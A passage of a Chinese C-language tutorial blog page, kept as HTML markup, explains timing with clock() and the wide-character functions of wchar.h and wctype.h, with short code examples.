时间,或者返回值太大,无法用\u003ccode\u003eclock_t\u003c/code\u003e类型表示,\u003ccode\u003eclock()\u003c/code\u003e函数就返回\u003ccode\u003e-1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e为了知道某个操作所耗费的精确时间,需要调用两次\u003ccode\u003eclock()\u003c/code\u003e,然后将两次的返回值相减。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eclock_t\u003c/span\u003e start = clock();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// ... 执行某些操作\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eclock_t\u003c/span\u003e end = clock();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e seconds = (\u003cspan class=\"type\"\u003efloat\u003c/span\u003e)(end - start) / CLOCKS_PER_SEC;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"参考链接\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://serhack.me/articles/measure-execution-time-program/\"\u003eHow to Measure Execution Time of a Program\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"wchar-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#wchar-h\" class=\"headerlink\" title=\"wchar.h\"\u003e\u003c/a\u003ewchar.h\u003c/h2\u003e\u003cp\u003e宽字符使用两个或四个字节表示一个字符,导致 C 语言常规的字符处理函数都会失效。wchar.h 定义了许多宽字符专用的处理函数。\u003c/p\u003e\u003ch3 id=\"类型别名和宏-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%B1%BB%E5%9E%8B%E5%88%AB%E5%90%8D%E5%92%8C%E5%AE%8F-1\" class=\"headerlink\" title=\"类型别名和宏\"\u003e\u003c/a\u003e类型别名和宏\u003c/h3\u003e\u003cp\u003ewchar.h 定义了一个类型别名 wint_t,表示宽字符对应整数值。\u003c/p\u003e\u003cp\u003ewchar.h 还定义了一个宏 WEOF,表示文件结束字符 EOF 的宽字符版。\u003c/p\u003e\u003ch3 id=\"btowc-,wctob\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#btowc-%EF%BC%8Cwctob\" class=\"headerlink\" title=\"btowc(),wctob()\"\u003e\u003c/a\u003ebtowc(),wctob()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ebtowc()\u003c/code\u003e将单字节字符转换为宽字符,\u003ccode\u003ewctob()\u003c/code\u003e将宽字符转换为单字节字符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewint_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebtowc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e c)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ewctob\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003ewint_t\u003c/span\u003e c)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ebtowc()\u003c/code\u003e返回一个宽字符。如果参数是 EOF,或转换失败,则返回 WEOF。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ewctob()\u003c/code\u003e返回一个单字节字符。如果参数是 WEOF,或者参数宽字符无法对应单个的单字节字符,则返回 EOF。\u003c/p\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewint_t\u003c/span\u003e wc = btowc(\u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出宽字符 B\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewprintf(\u003cspan class=\"string\"\u003eL\u0026#34;Wide character: %lc\\n\u0026#34;\u003c/span\u003e, wc);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c = wctob(wc);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出单字节字符 B\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewprintf(\u003cspan class=\"string\"\u003eL\u0026#34;Single-byte character: %c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"fwide\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fwide\" class=\"headerlink\" title=\"fwide()\"\u003e\u003c/a\u003efwide()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efwide()\u003c/code\u003e用来设置一个字节流是宽字符流,还是多字节字符流。\u003c/p\u003e\u003cp\u003e如果使用宽字符专用函数处理字节流,就会默认设置字节流为宽字符流,否则就需要使用\u003ccode\u003efwide()\u003c/code\u003e显式设置。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efwide\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003eint\u003c/span\u003e mode)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是文件指针,第二个参数是字节流模式,有三种选择。\u003c/p\u003e\u003cul\u003e\u003cli\u003e0:字节流模式保持原样。\u003c/li\u003e\u003cli\u003e-1(或其他负值):设为多字节字符流。\u003c/li\u003e\u003cli\u003e1(或其他正值):设为宽字符流。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003ccode\u003efwide()\u003c/code\u003e的返回值也分成三种情况:如果是宽字符流,返回一个正值;如果是多字节字符流,返回一个负值;如果是普通字符流,返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e一旦设置了字节流模式,就无法再更改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;wchar.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wprintf(\u003cspan class=\"string\"\u003eL\u0026#34;Hello world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e mode = fwide(\u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wprintf(\u003cspan class=\"string\"\u003eL\u0026#34;Stream is %ls-oriented\\n\u0026#34;\u003c/span\u003e, mode \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e ? \u003cspan class=\"string\"\u003eL\u0026#34;byte\u0026#34;\u003c/span\u003e : \u003cspan class=\"string\"\u003eL\u0026#34;wide\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ewprintf()\u003c/code\u003e将字节流隐式设为宽字符模式,所以\u003ccode\u003efwide(stdout, 0)\u003c/code\u003e的返回值大于零。\u003c/p\u003e\u003ch3 id=\"宽字符专用函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AE%BD%E5%AD%97%E7%AC%A6%E4%B8%93%E7%94%A8%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"宽字符专用函数\"\u003e\u003c/a\u003e宽字符专用函数\u003c/h3\u003e\u003cp\u003e下面这些函数基本都是 stdio.h 里面的字符处理函数的宽字符版本,必须使用这些函数来操作宽字符。\u003c/p\u003e\u003cul\u003e\u003cli\u003efgetwc() 从宽字符流中获取宽字符,对应 fgetc()。\u003c/li\u003e\u003cli\u003efgetws() 从宽字符流中读取宽字符串,对应 fgets()。\u003c/li\u003e\u003cli\u003efputwc() 将宽字符写入宽字符流,对应 fputc()。\u003c/li\u003e\u003cli\u003efputws() 将宽字符串写入宽字符流,对应 fputs()。\u003c/li\u003e\u003cli\u003efwprintf() 格式化宽输出到宽字符流,对应 fprintf()。\u003c/li\u003e\u003cli\u003efwscanf() 来自宽字符流的格式化宽字符输入,对应 fscanf()。\u003c/li\u003e\u003cli\u003egetwchar() 从 stdin 获取一个宽字符,对应 getchar()。\u003c/li\u003e\u003cli\u003egetwc() 从 stdin 获取一个宽字符,对应 getc()。\u003c/li\u003e\u003cli\u003eputwchar() 写一个宽字符到 stdout,对应 putchar()。\u003c/li\u003e\u003cli\u003eputwc() 写一个宽字符到 stdout,对应 putc()。\u003c/li\u003e\u003cli\u003eswprintf() 格式化宽输出到宽字符串,对应 sprintf()。\u003c/li\u003e\u003cli\u003eswscanf() 来自宽字符串的格式化宽输入,对应 sscanf()。\u003c/li\u003e\u003cli\u003eungetwc() 将宽字符推回输入流,对应 ungetc()。\u003c/li\u003e\u003cli\u003evfwprintf() 可变参数的格式化宽字符输出到宽字符流,对应 vfprintf()。\u003c/li\u003e\u003cli\u003evfwscanf() 来自宽字符流的可变参数格式化宽字符输入,对应 vfscanf()。\u003c/li\u003e\u003cli\u003evswprintf() 可变参数的格式化宽字符输出到宽字符串,对应 vswprintf()。\u003c/li\u003e\u003cli\u003evswscanf() 来自宽字符串的可变参数格式化宽字符输入,对应 vsscanf()。\u003c/li\u003e\u003cli\u003evwprintf() 可变参数格式化宽字符输出,对应 vprintf()。\u003c/li\u003e\u003cli\u003evwscanf() 可变参数的格式化宽字符输入,对应 vscanf()。\u003c/li\u003e\u003cli\u003ewcscat() 危险地连接宽字符串,对应 strcat()。\u003c/li\u003e\u003cli\u003ewcschr() 在宽字符串中查找宽字符,对应 strchr()。\u003c/li\u003e\u003cli\u003ewcscmp() 比较宽字符串,对应 strcmp()。\u003c/li\u003e\u003cli\u003ewcscoll() 比较两个考虑语言环境的宽字符串,对应 strcoll()。\u003c/li\u003e\u003cli\u003ewcscpy() 危险地复制宽字符串,对应 strcpy()。\u003c/li\u003e\u003cli\u003ewcscspn() 不是从宽字符串前面开始计算字符,对应 strcspn()。\u003c/li\u003e\u003cli\u003ewcsftime() 格式化的日期和时间输出,对应 strftime()。\u003c/li\u003e\u003cli\u003ewcslen() 返回宽字符串的长度,对应 strlen()。\u003c/li\u003e\u003cli\u003ewcsncat() 更安全地连接宽字符串,对应 strncat()。\u003c/li\u003e\u003cli\u003ewcsncmp() 比较宽字符串,长度有限,对应 strncmp()。\u003c/li\u003e\u003cli\u003ewcsncpy() 更安全地复制宽字符串,对应 strncpy()。\u003c/li\u003e\u003cli\u003ewcspbrk() 在宽字符串中搜索一组宽字符中的一个,对应 strpbrk()。\u003c/li\u003e\u003cli\u003ewcsrchr() 从末尾开始在宽字符串中查找宽字符,对应 strrchr()。\u003c/li\u003e\u003cli\u003ewcsspn() 从宽字符串前面的集合中计算字符,对应 strspn()。\u003c/li\u003e\u003cli\u003ewcsstr() 在另一个宽字符串中找到一个宽字符串,对应 strstr()。\u003c/li\u003e\u003cli\u003ewcstod() 将宽字符串转换为 double,对应 strtod()。\u003c/li\u003e\u003cli\u003ewcstof() 将宽字符串转换为 float,对应 strtof()。\u003c/li\u003e\u003cli\u003ewcstok() 标记一个宽字符串,对应 strtok()。\u003c/li\u003e\u003cli\u003ewcstold() 将宽字符串转换为 long double,对应 strtold()。\u003c/li\u003e\u003cli\u003ewcstoll() 将宽字符串转换为 long long,对应 strtoll()。\u003c/li\u003e\u003cli\u003ewcstol() 将宽字符串转换为 long,对应 strtol()。\u003c/li\u003e\u003cli\u003ewcstoull() 将宽字符串转换为 unsigned long long,对应 strtoull()。\u003c/li\u003e\u003cli\u003ewcstoul() 将宽字符串转换为 unsigned long,对应 strtoul()。\u003c/li\u003e\u003cli\u003ewcsxfrm() 转换宽字符串以根据语言环境进行比较,对应 strxfrm()。\u003c/li\u003e\u003cli\u003ewmemcmp() 比较内存中的宽字符,对应 memcmp()。\u003c/li\u003e\u003cli\u003ewmemcpy() 复制宽字符内存,对应 memcpy()。\u003c/li\u003e\u003cli\u003ewmemmove() 复制宽字符内存,可能重叠,对应 memmove()。\u003c/li\u003e\u003cli\u003ewprintf() 格式化宽输出,对应 printf()。\u003c/li\u003e\u003cli\u003ewscanf() 格式化宽输入,对应 scanf()。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"多字节字符专用函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E5%AD%97%E8%8A%82%E5%AD%97%E7%AC%A6%E4%B8%93%E7%94%A8%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"多字节字符专用函数\"\u003e\u003c/a\u003e多字节字符专用函数\u003c/h3\u003e\u003cp\u003ewchar.h 也定义了一些多字节字符的专用函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003embsinit() 判断 mbstate_t 是否处于初始转换状态。\u003c/li\u003e\u003cli\u003embrlen() 给定转换状态时,计算多字节字符串的字节数,对应 mblen()。\u003c/li\u003e\u003cli\u003embrtowc() 给定转换状态时,将多字节字符转换为宽字符,对应 mbtowc()。\u003c/li\u003e\u003cli\u003ewctombr() 给定转换状态时,将宽字符转换为多字节字符,对应 wctomb()。\u003c/li\u003e\u003cli\u003embsrtowcs() 给定转换状态时,将多字节字符串转换为宽字符串,对应 mbstowcs()。\u003c/li\u003e\u003cli\u003ewcsrtombs() 给定转换状态时,将宽字符串转换为多字节字符串,对应 wcstombs()。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"wctype-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#wctype-h\" class=\"headerlink\" title=\"wctype.h\"\u003e\u003c/a\u003ewctype.h\u003c/h2\u003e\u003cp\u003ewctype.h 提供 ctype.h 里面函数的宽字符版本。\u003c/p\u003e\u003ch3 id=\"宽字符类型判断函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AE%BD%E5%AD%97%E7%AC%A6%E7%B1%BB%E5%9E%8B%E5%88%A4%E6%96%AD%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"宽字符类型判断函数\"\u003e\u003c/a\u003e宽字符类型判断函数\u003c/h3\u003e\u003cp\u003e下面函数判断宽字符的类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003eiswalnum() 测试宽字符是否为字母数字\u003c/li\u003e\u003cli\u003eiswalpha() 测试宽字符是否为字母\u003c/li\u003e\u003cli\u003eiswblank() 测试这是否是一个宽空白字符\u003c/li\u003e\u003cli\u003eiswcntrl() 测试这是否是一个宽控制字符。\u003c/li\u003e\u003cli\u003eiswdigit() 测试这个宽字符是否是数字\u003c/li\u003e\u003cli\u003eiswgraph() 测试宽字符是否是可打印的非空格字符\u003c/li\u003e\u003cli\u003eiswlower() 测试宽字符是否为小写\u003c/li\u003e\u003cli\u003eiswprint() 测试宽字符是否可打印\u003c/li\u003e\u003cli\u003eiswpunct() 测试宽字符是否为标点符号\u003c/li\u003e\u003cli\u003eiswspace() 测试宽字符是否为空格\u003c/li\u003e\u003cli\u003eiswupper() 测试宽字符是否为大写\u003c/li\u003e\u003cli\u003eiswxdigit() 测试宽字符是否为十六进制数字\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"wctype-,iswctype\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#wctype-%EF%BC%8Ciswctype\" class=\"headerlink\" title=\"wctype(),iswctype()\"\u003e\u003c/a\u003ewctype(),iswctype()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eiswctype()\u003c/code\u003e是上一节各种宽字符类型判断函数的通用版本,必须与\u003ccode\u003ewctype()\u003c/code\u003e配合使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eiswctype\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003ewint_t\u003c/span\u003e wc, \u003cspan class=\"type\"\u003ewctype_t\u003c/span\u003e desc)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eiswctype()\u003c/code\u003e接受两个参数,第一个参数是一个需要判断类型的宽字符,第二个参数是宽字符类型描述,来自\u003ccode\u003ewctype()\u003c/code\u003e的返回值。\u003c/p\u003e\u003cp\u003e如果宽字符属于指定类型,\u003ccode\u003eiswctype()\u003c/code\u003e返回一个非零值,否则返回零。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ewctype()\u003c/code\u003e用来获取某个种类宽字符的类型描述。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewctype_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003ewctype\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* property)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003ewctype()\u003c/code\u003e的参数是一个给定的字符串,可用的值如下:alnum、alpha、blank、cntrl、digit、graph、lower、print、punct、space、upper、xdigit。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ewctype()\u003c/code\u003e的返回值的类型为 wctype_t,通常是一个整数。如果参数是一个无效值,则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (iswctype(c, wctype(\u003cspan class=\"string\"\u003e\u0026#34;digit\u0026#34;\u003c/span\u003e)))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 相当于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (iswdigit(c))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例用来判断宽字符\u003ccode\u003ec\u003c/code\u003e是否为数值,相当于\u003ccode\u003eiswdigit()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eiswctype()\u003c/code\u003e的完整类型判断如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan 